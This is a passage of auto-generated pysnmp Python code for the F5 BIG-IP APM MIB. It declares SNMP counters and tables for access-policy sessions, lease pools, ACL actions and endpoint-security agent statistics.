4, 1, 3375, 2, 6, 1, 7, 3, 1, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPgStatUsages.setStatus('current') apmPgStatSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7, 3, 1, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPgStatSuccesses.setStatus('current') apmPgStatFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7, 3, 1, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPgStatFailures.setStatus('current') apmPgStatErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7, 3, 1, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPgStatErrors.setStatus('current') apmPgStatSessionVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7, 3, 1, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPgStatSessionVars.setStatus('current') apmPmStatResetStats = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: apmPmStatResetStats.setStatus('current') apmPmStatNumber = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatNumber.setStatus('current') apmPmStatTable = MibTable((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3), ) if mibBuilder.loadTexts: apmPmStatTable.setStatus('current') apmPmStatEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1), ).setIndexNames((0, "F5-BIGIP-APM-MIB", "apmPmStatName")) if mibBuilder.loadTexts: apmPmStatEntry.setStatus('current') apmPmStatName = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 1), LongDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatName.setStatus('current') apmPmStatConfigSyncState = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 2), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatConfigSyncState.setStatus('current') apmPmStatInspResultError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 3), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatInspResultError.setStatus('current') apmPmStatInspSessionError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatInspSessionError.setStatus('current') apmPmStatInspDeviceInfoError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatInspDeviceInfoError.setStatus('current') apmPmStatInspTokenError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatInspTokenError.setStatus('current') apmPmStatInspSignatureError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatInspSignatureError.setStatus('current') apmPmStatInspDataMsmtchError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatInspDataMsmtchError.setStatus('current') apmPmStatInspClientSignError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 9), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatInspClientSignError.setStatus('current') apmPmStatMemInitError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 10), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatMemInitError.setStatus('current') apmPmStatMemSessionVarError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 11), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatMemSessionVarError.setStatus('current') apmPmStatMemCloseError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 12), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatMemCloseError.setStatus('current') apmPmStatResultError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 13), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatResultError.setStatus('current') apmPmStatInternalError = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 8, 3, 1, 14), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPmStatInternalError.setStatus('current') apmAccessStatResetStats = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: apmAccessStatResetStats.setStatus('current') apmAccessStatTotalSessions = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAccessStatTotalSessions.setStatus('current') apmAccessStatCurrentActiveSessions = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 3), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAccessStatCurrentActiveSessions.setStatus('current') apmAccessStatCurrentPendingSessions = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAccessStatCurrentPendingSessions.setStatus('current') apmAccessStatCurrentEndedSessions = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAccessStatCurrentEndedSessions.setStatus('current') apmAccessStatUserLoggedoutSessions = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAccessStatUserLoggedoutSessions.setStatus('current') apmAccessStatAdminTerminatedSessions = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAccessStatAdminTerminatedSessions.setStatus('current') apmAccessStatMiscTerminatedSessions = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAccessStatMiscTerminatedSessions.setStatus('current') apmAccessStatResultAllow = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 9), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAccessStatResultAllow.setStatus('current') apmAccessStatResultDeny = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 10), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAccessStatResultDeny.setStatus('current') apmAccessStatResultRedirect = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 11), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAccessStatResultRedirect.setStatus('current') apmAccessStatResultRedirectWithSession = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 4, 12), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAccessStatResultRedirectWithSession.setStatus('current') apmGlobalConnectivityStatResetStats = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 5, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: apmGlobalConnectivityStatResetStats.setStatus('current') apmGlobalConnectivityStatTotConns = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 5, 2), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalConnectivityStatTotConns.setStatus('current') apmGlobalConnectivityStatCurConns = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 5, 3), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalConnectivityStatCurConns.setStatus('current') apmGlobalConnectivityStatMaxConns = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 5, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalConnectivityStatMaxConns.setStatus('current') apmGlobalConnectivityStatIngressRaw = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 5, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalConnectivityStatIngressRaw.setStatus('current') apmGlobalConnectivityStatEgressRaw = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 5, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalConnectivityStatEgressRaw.setStatus('current') apmGlobalConnectivityStatIngressCompressed = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 5, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalConnectivityStatIngressCompressed.setStatus('current') apmGlobalConnectivityStatEgressCompressed = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 5, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalConnectivityStatEgressCompressed.setStatus('current') apmGlobalRewriteStatResetStats = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 6, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: apmGlobalRewriteStatResetStats.setStatus('current') apmGlobalRewriteStatClientReqBytes = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 6, 2), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalRewriteStatClientReqBytes.setStatus('current') apmGlobalRewriteStatClientRespBytes = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 6, 3), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalRewriteStatClientRespBytes.setStatus('current') apmGlobalRewriteStatServerReqBytes = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 6, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalRewriteStatServerReqBytes.setStatus('current') apmGlobalRewriteStatServerRespBytes = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 6, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalRewriteStatServerRespBytes.setStatus('current') apmGlobalRewriteStatClientReqs = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 6, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalRewriteStatClientReqs.setStatus('current') apmGlobalRewriteStatClientResps = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 6, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalRewriteStatClientResps.setStatus('current') apmGlobalRewriteStatServerReqs = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 6, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalRewriteStatServerReqs.setStatus('current') apmGlobalRewriteStatServerResps = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 6, 9), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmGlobalRewriteStatServerResps.setStatus('current') apmLeasepoolStatResetStats = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: apmLeasepoolStatResetStats.setStatus('current') apmLeasepoolStatNumber = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatNumber.setStatus('current') apmLeasepoolStatTable = MibTable((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3), ) if mibBuilder.loadTexts: apmLeasepoolStatTable.setStatus('current') apmLeasepoolStatEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1), ).setIndexNames((0, "F5-BIGIP-APM-MIB", "apmLeasepoolStatName")) if mibBuilder.loadTexts: apmLeasepoolStatEntry.setStatus('current') apmLeasepoolStatName = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1, 1), LongDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatName.setStatus('current') apmLeasepoolStatCurMembers = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatCurMembers.setStatus('current') apmLeasepoolStatCurAssigned = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatCurAssigned.setStatus('current') apmLeasepoolStatCurFree = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatCurFree.setStatus('current') apmLeasepoolStatMaxAssigned = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatMaxAssigned.setStatus('current') apmLeasepoolStatTotPickRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatTotPickRequests.setStatus('current') apmLeasepoolStatTotPickFailure = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatTotPickFailure.setStatus('current') apmLeasepoolStatTotReserveRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatTotReserveRequests.setStatus('current') apmLeasepoolStatTotReserveFailure = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1, 9), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatTotReserveFailure.setStatus('current') apmLeasepoolStatTotReleaseRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1, 10), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatTotReleaseRequests.setStatus('current') apmLeasepoolStatTotReleaseFailure = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 2, 1, 3, 1, 11), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmLeasepoolStatTotReleaseFailure.setStatus('current') apmAclStatResetStats = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 3, 1, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: apmAclStatResetStats.setStatus('current') apmAclStatNumber = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 3, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAclStatNumber.setStatus('current') apmAclStatTable = MibTable((1, 3, 6, 1, 4, 1, 3375, 2, 6, 3, 1, 3), ) if mibBuilder.loadTexts: apmAclStatTable.setStatus('current') apmAclStatEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3375, 2, 6, 3, 1, 3, 1), ).setIndexNames((0, "F5-BIGIP-APM-MIB", "apmAclStatName")) if mibBuilder.loadTexts: apmAclStatEntry.setStatus('current') apmAclStatName = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 3, 1, 3, 1, 1), LongDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAclStatName.setStatus('current') apmAclStatActionAllow = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 3, 1, 3, 1, 2), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAclStatActionAllow.setStatus('current') apmAclStatActionContinue = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 3, 1, 3, 1, 3), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAclStatActionContinue.setStatus('current') apmAclStatActionDiscard = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 3, 1, 3, 1, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAclStatActionDiscard.setStatus('current') apmAclStatActionReject = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 3, 1, 3, 1, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmAclStatActionReject.setStatus('current') bigipApmCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 3375, 2, 5, 1, 6)).setObjects(("F5-BIGIP-APM-MIB", "bigipApmGroups")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): bigipApmCompliance = bigipApmCompliance.setStatus('current') bigipApmGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 3375, 2, 5, 2, 6)) apmPaStatGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 3375, 2, 5, 2, 6, 1)).setObjects(("F5-BIGIP-APM-MIB", "apmPaStatResetStats"), ("F5-BIGIP-APM-MIB", "apmPaStatNumber"), ("F5-BIGIP-APM-MIB", "apmPaStatName"), ("F5-BIGIP-APM-MIB", "apmPaStatConfigSyncState"), ("F5-BIGIP-APM-MIB", "apmPaStatTotalSessions"), ("F5-BIGIP-APM-MIB", "apmPaStatTotalEstablishedStateSessions"), ("F5-BIGIP-APM-MIB", "apmPaStatCurrentActiveSessions"), ("F5-BIGIP-APM-MIB", "apmPaStatCurrentPendingSessions"), ("F5-BIGIP-APM-MIB", "apmPaStatCurrentCompletedSessions"), ("F5-BIGIP-APM-MIB", "apmPaStatUserLoggedoutSessions"), ("F5-BIGIP-APM-MIB", "apmPaStatAdminTerminatedSessions"), ("F5-BIGIP-APM-MIB", "apmPaStatMiscTerminatedSessions"), ("F5-BIGIP-APM-MIB", "apmPaStatAccessPolicyResultAllow"), ("F5-BIGIP-APM-MIB", "apmPaStatAccessPolicyResultDeny"), ("F5-BIGIP-APM-MIB", "apmPaStatAccessPolicyResultRedirect"), ("F5-BIGIP-APM-MIB", "apmPaStatAccessPolicyResultRedirectWithSession"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingDenyAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingDenyAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingDenyAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingDenyAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingDenyAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingDenyAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingRedirectAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingRedirectAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingRedirectAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingRedirectAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingRedirectAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingRedirectAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingAllowAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingAllowAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingAllowAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingAllowAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingAllowAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEndingAllowAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatAdAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatAdAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatAdAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatAdAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatAdAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatAdAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatClientCertAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatClientCertAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatClientCertAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatClientCertAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatClientCertAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatClientCertAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatHttpAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatHttpAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatHttpAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatHttpAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatHttpAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatHttpAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatLdapAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatLdapAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatLdapAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatLdapAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatLdapAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatLdapAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatSecuridAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatSecuridAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatSecuridAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatSecuridAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatSecuridAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatSecuridAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAcctAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAcctAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAcctAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAcctAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAcctAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatRadiusAcctAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxFcAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxFcAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxFcAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxFcAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxFcAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxFcAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxPcAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxPcAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxPcAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxPcAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxPcAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsLinuxPcAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacFcAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacFcAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacFcAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacFcAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacFcAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacFcAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacPcAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacPcAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacPcAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacPcAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacPcAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsMacPcAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinCcAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinCcAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinCcAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinCcAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinCcAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinCcAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsAvAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsAvAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsAvAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsAvAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsAvAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsAvAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinOsInfoAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinOsInfoAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinOsInfoAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinOsInfoAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinOsInfoAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinOsInfoAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinFcAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinFcAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinFcAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinFcAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinFcAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinFcAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinMcAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinMcAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinMcAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinMcAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinMcAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinMcAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsFwcAgentTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsFwcAgentTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsFwcAgentTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsFwcAgentTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsFwcAgentTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsFwcAgentTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPcTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPcTotalUsages"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPcTotalSuccesses"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPcTotalFailures"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPcTotalErrors"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPcTotalSessVars"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPwTotalInstances"), ("F5-BIGIP-APM-MIB", "apmPaStatEpsWinPwTotalUsages"), 